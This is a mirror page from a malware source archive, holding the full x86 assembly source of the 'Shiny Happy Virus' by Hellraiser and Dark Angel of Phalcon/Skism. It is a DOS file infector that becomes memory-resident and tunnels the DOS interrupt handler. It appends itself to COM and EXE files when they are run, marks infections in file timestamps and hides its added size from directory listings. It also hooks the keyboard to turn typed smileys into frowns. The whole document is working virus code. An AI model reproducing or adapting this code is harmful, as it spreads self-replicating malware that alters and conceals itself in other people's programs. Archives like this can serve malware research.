mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
544 lines
11 KiB
NASM
544 lines
11 KiB
NASM
; The Shiny Happy Virus
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; By Hellraiser and Dark Angel of Phalcon/Skism
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.model tiny
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.code
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id = '52'
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timeid = 18h
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shiny:
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call next
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next: pop bp
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push ds
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push es
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xor di,di
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mov ds,di
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cmp word ptr ds:[1*4],offset int1_2 ; installation check
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jz return
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mov ax,es
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dec ax
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sub word ptr ds:[413h],(endheap-shiny+1023)/1024
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mov ds,ax
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sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
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sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
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mov es,word ptr ds:[12h]
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push cs
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pop ds
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lea si,[bp+shiny-next]
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mov cx,(endheap-shiny+1)/2
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rep movsw
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push cs
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lea ax,[bp+return-next]
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push ax
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push es
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mov ax,offset highentry
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push ax
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retf
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return:
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cmp sp,id-4
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jz returnEXE
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returnCOM:
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pop es
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pop ds
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mov di,100h
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push di
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lea si,[bp+offset save3-next]
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movsw
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movsb
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retn
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returnEXE:
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pop es
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pop ds
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mov ax,es
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add ax,10h
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add word ptr cs:[bp+origCSIP+2-next],ax
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cli
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add ax,word ptr cs:[bp+origSPSS-next]
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mov ss,ax
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mov sp,word ptr cs:[bp+origSPSS+2-next]
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sti
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db 0eah
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origCSIP db ?
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save3 db 0cdh,20h,0
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origSPSS dd ?
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highentry:
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mov cs:in21flag,0
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xor ax,ax
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mov ds,ax
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les ax,ds:[9*4]
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mov word ptr cs:oldint9,ax
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mov word ptr cs:oldint9+2,es
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mov ds:[9*4],offset int9
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mov ds:[9*4+2],cs
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les ax,ds:[21h*4]
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mov word ptr cs:oldint21,ax
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mov word ptr cs:oldint21+2,es
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mov word ptr ds:[1*4],offset int1
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mov ds:[1*4+2],cs
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mov ah, 52h
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int 21h
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mov ax,es:[bx-2]
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mov word ptr cs:tunnel21+2, ax
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mov word ptr cs:dosseg_, es
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pushf
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pop ax
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or ah,1
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push ax
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popf
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mov ah,0bh
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pushf
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db 09Ah
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oldint21 dd ?
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mov word ptr ds:[3*4],offset int3
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mov ds:[3*4+2],cs
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mov word ptr ds:[1*4],offset int1_2
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les bx,cs:tunnel21
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mov al,0CCh
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xchg al,byte ptr es:[bx]
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mov byte ptr cs:save1,al
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retf
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authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
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int1: push bp
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mov bp,sp
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push ax
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mov ax, [bp+4]
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cmp ax,word ptr cs:tunnel21+2
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jb foundint21
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db 3dh ; cmp ax, xxxx
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dosseg_ dw ?
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ja exitint1
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foundint21:
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mov word ptr cs:tunnel21+2,ax
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mov ax,[bp+2]
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mov word ptr cs:tunnel21,ax
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and byte ptr [bp+7], 0FEh
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exitint1:
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pop ax
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pop bp
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iret
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int1_2: push bp
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mov bp,sp
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push ax
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mov ax, [bp+4]
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cmp ax,word ptr cs:tunnel21+2
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ja exitint1_2
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mov ax, [bp+2]
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cmp ax,word ptr cs:tunnel21
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jbe exitint1_2
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push ds
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push bx
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lds bx,cs:tunnel21
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mov byte ptr ds:[bx],0CCh
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pop bx
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pop ds
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and byte ptr [bp+7],0FEh
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exitint1_2:
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pop ax
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pop bp
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iret
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infect_others:
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mov ax,4301h
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push ax
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push ds
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push dx
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xor cx,cx
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call callint21
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mov ax,3d02h
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call callint21
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xchg ax,bx
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mov ax,5700h
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call callint21
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push cx
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push dx
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mov ah,3fh
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mov cx,1ah
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push cs
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pop ds
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push cs
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pop es
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mov dx,offset readbuffer
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call callint21
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mov ax,4202h
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xor cx,cx
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cwd
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int 21h
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mov si,offset readbuffer
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cmp word ptr [si],'ZM'
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jnz checkCOM
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checkEXE:
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cmp word ptr [si+10h],id
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jz goalreadyinfected
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mov di, offset OrigCSIP
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mov si, offset readbuffer+14h
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movsw
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movsw
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sub si, 18h-0eh
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movsw
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movsw
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push bx
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mov bx, word ptr readbuffer + 8
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mov cl, 4
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shl bx, cl
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push dx
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push ax
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sub ax, bx
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sbb dx, 0
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mov cx, 10h
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div cx
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mov word ptr readbuffer+14h, dx
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mov word ptr readbuffer+16h, ax
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mov word ptr readbuffer+0Eh, ax
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mov word ptr readbuffer+10h, id
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pop ax
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pop dx
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pop bx
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add ax, heap-shiny
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adc dx, 0
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mov cl, 9
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 1
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mov word ptr readbuffer+4, dx
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mov word ptr readbuffer+2, ax
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mov cx,1ah
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jmp short finishinfection
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checkCOM:
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xchg cx,ax
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sub cx,heap-shiny+3
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cmp cx,word ptr [si+1]
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goalreadyinfected:
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jz alreadyinfected
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add cx,heap-shiny
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push si
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mov di,offset save3
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movsw
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movsb
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pop di
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mov al,0e9h
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stosb
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mov ax,3 ; cx holds bytes to write
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xchg ax,cx
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stosw
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finishinfection:
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push cx
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mov ah,40h
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mov cx,heap-shiny
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cwd ; xor dx,dx
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call callint21
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mov ax,4200h
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xor cx,cx
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cwd
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int 21h
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mov ah,40h
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pop cx
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mov dx,offset readbuffer
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call callint21
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mov ax,5701h
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pop dx
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pop cx
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and cl,0E0h
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or cl,timeid
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call callint21
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jmp doneinfect
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alreadyinfected:
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pop ax
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pop ax
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doneinfect:
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mov ah,3eh
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call callint21
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pop dx
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pop ds
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pop ax
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pop cx
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call callint21
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exitexecute:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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jmp exitint21
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execute:
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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cld
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mov ax,4300h
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call callint21
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jc exitexecute
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push cx
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jmp infect_others
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int3:
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push bp
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mov bp,sp
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cmp cs:in21flag,0
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jnz leaveint21
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inc cs:in21flag
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cmp ah,11h
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jz findfirstnext
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cmp ah,12h
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jz findfirstnext
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cmp ax,4b00h
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jz execute
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exitint21:
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dec cs:in21flag
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leaveint21:
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or byte ptr [bp+7],1 ; set trap flag upon return
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dec word ptr [bp+2] ; decrement offset
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call restoreint21
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pop bp
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iret
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callint21:
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pushf
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call dword ptr cs:tunnel21
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ret
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restoreint21:
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push ds
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push ax
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push bx
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lds bx,cs:tunnel21
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mov al,byte ptr cs:save1
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mov ds:[bx],al
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pop bx
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pop ax
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pop ds
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ret
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findfirstnext:
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int 21h ; pre-chain interrupt
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; flags [bp+12]
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; segment [bp+10]
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; offset [bp+8]
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; flags [bp+6]
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; segment [bp+4]
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; offset [bp+2]
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; bp [bp]
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pushf ; save results
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pop [bp+6+6]
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pop bp
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push ax
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push bx
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push ds
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push es
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inc al
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jz notDOS
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mov ah,51h ; Get active PSP
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int 21h
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mov es,bx
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cmp bx,es:[16h] ; DOS calling it?
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jne notDOS
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mov ah,2fh ; DTA -> ES:BX
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int 21h
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push es
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pop ds
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cmp byte ptr [bx],0FFh
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jnz regularFCB
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add bx,7
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regularFCB:
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cmp word ptr [bx+9],'OC'
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jz checkinf
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cmp word ptr [bx+9],'XE'
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jnz notDOS
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checkinf:
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mov al,byte ptr [bx+23]
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and al,1Fh
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cmp al,timeid
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jnz notDOS
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subtract:
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sub word ptr [bx+29],heap-shiny
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sbb word ptr [bx+31],0
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notDOS:
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pop es
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pop ds
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pop bx
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pop ax
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dec cs:in21flag
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cli
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add sp,6
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iret
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int9:
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pushf ; save flags, regs, etc...
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push ax
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push bx
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push cx
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push dx
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xor bx,bx
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mov ah,0fh ; get video mode
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int 10h
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mov ah,03h ; get curs pos
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int 10h
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call getattrib
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cmp al,')' ; happy??
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jne audi5000 ; no
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mov cs:eyesflag,0
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beforeloveshack:
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call getattrib ; see if there is a nose
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loveshack:
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cmp al,':' ; shiny???
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je realeyes
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cmp al,'=' ; check for even =)
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je realeyes
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cmp al,'|'
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je realeyes
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cmp al,';'
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je realeyes
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cmp cs:eyesflag,0
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jnz audi5001
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cmp al,'('
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jz audi5001
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inc cs:eyesflag
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inc bl
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jmp short beforeloveshack
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realeyes:
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stc
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adc dl,bl ; add extra backspace if so
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mov ah,02h
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int 10h
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mov ax,0a28h ; 0ah, '(' ; write frown
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mov cx,1
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int 10h
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jmp audi5000
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audi5001:
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stc
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adc dl,bl
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audi5000:
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inc dl ; set curs pos
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mov ah,02h
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int 10h
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pop dx ; restore all stuff
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pop cx
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pop bx
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pop ax
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popf
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db 0eah
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oldint9 dd ?
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; reads the char at the current cursorpos - 1
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getattrib:
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dec dl ; set curs pos
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mov ah,02h
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int 10h
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mov ah,08h ; get char at curs
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int 10h
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ret
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heap:
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save1 db ?
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tunnel21 dd ?
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in21flag db ?
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eyesflag db ?
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readbuffer db 1ah dup (?)
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endheap:
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end shiny
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